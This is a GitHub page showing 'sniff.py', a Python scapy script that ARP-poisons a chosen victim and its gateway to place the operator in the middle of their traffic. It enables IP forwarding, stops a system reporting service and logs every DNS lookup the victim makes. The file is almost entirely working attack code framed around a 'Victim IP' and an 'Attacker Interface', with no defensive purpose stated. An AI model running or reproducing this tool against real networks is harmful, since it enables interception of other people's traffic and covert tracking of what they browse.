-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathsniff.py
More file actions
74 lines (55 loc) · 2.75 KB
/
sniff.py
File metadata and controls
74 lines (55 loc) · 2.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#! /bin/python
from scapy.all import *
import threading
import os
import sys
# ARP poison , dns MITM
# For decoration on the shell
# Includes colors, fonts, sizes
BLUE, RED, WHITE, YELLOW, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[32m', '\033[0m'
sys.stdout.write(RED + """
███████╗███╗ ██╗██╗███████╗███████╗███████╗██████╗
██╔════╝████╗ ██║██║██╔════╝██╔════╝██╔════╝██╔══██╗
███████╗██╔██╗ ██║██║█████╗ █████╗ █████╗ ██████╔╝
╚════██║██║╚██╗██║██║██╔══╝ ██╔══╝ ██╔══╝ ██╔══██╗
███████║██║ ╚████║██║██║ ██║ ███████╗██║ ██║
╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
""" + END + BLUE +
'' + 'SNIFFER'.format(RED, END).center(69) +
'\n' + 'Developed by: {}NIRAJ'.format(RED + END).center(76)+ '\n\n')
VIP = input(' ' *10+'Victim IP: ')
GW = input(' ' *10+'Gateway IP: ')
IFACE = input(' ' *10+'Attacker Interface: ')
print('\nYou should run it as a root. If not, run it again ')
print('\t\t\nPoisoning Victim & Gateway! .. ')
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') #Ensure the victim recieves packets by forwarding them
os.system('service whoopsie stop') # daisy.ubuntu.com
def dnshandle(pkt):
if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: #Strip what information you need from the packet capture
print('[*] Victim IP: ' + VIP + ' [*] Searched site: ' + (pkt.getlayer(DNS).qd.qname).decode('utf-8'))
def v_poison():
v = ARP(pdst=VIP, psrc=GW)
while True:
#try:
send(v,verbose=0,inter=1,loop=1)
#except KeyboardInterupt:
# sys.exit(1)
def gw_poison():
gw = ARP(pdst=GW, psrc=VIP)
while True:
try:
send(gw,verbose=0,inter=1,loop=1)
except KeyboardInterupt:
sys.exit(1)
vthread = []
gwthread = []
while True: # Threads
vpoison = threading.Thread(target=v_poison)
vpoison.setDaemon(True)
vthread.append(vpoison)
vpoison.start()
gwpoison = threading.Thread(target=gw_poison)
gwpoison.setDaemon(True)
gwthread.append(gwpoison)
gwpoison.start()
pkt = sniff(iface=IFACE,filter='udp port 53',prn=dnshandle)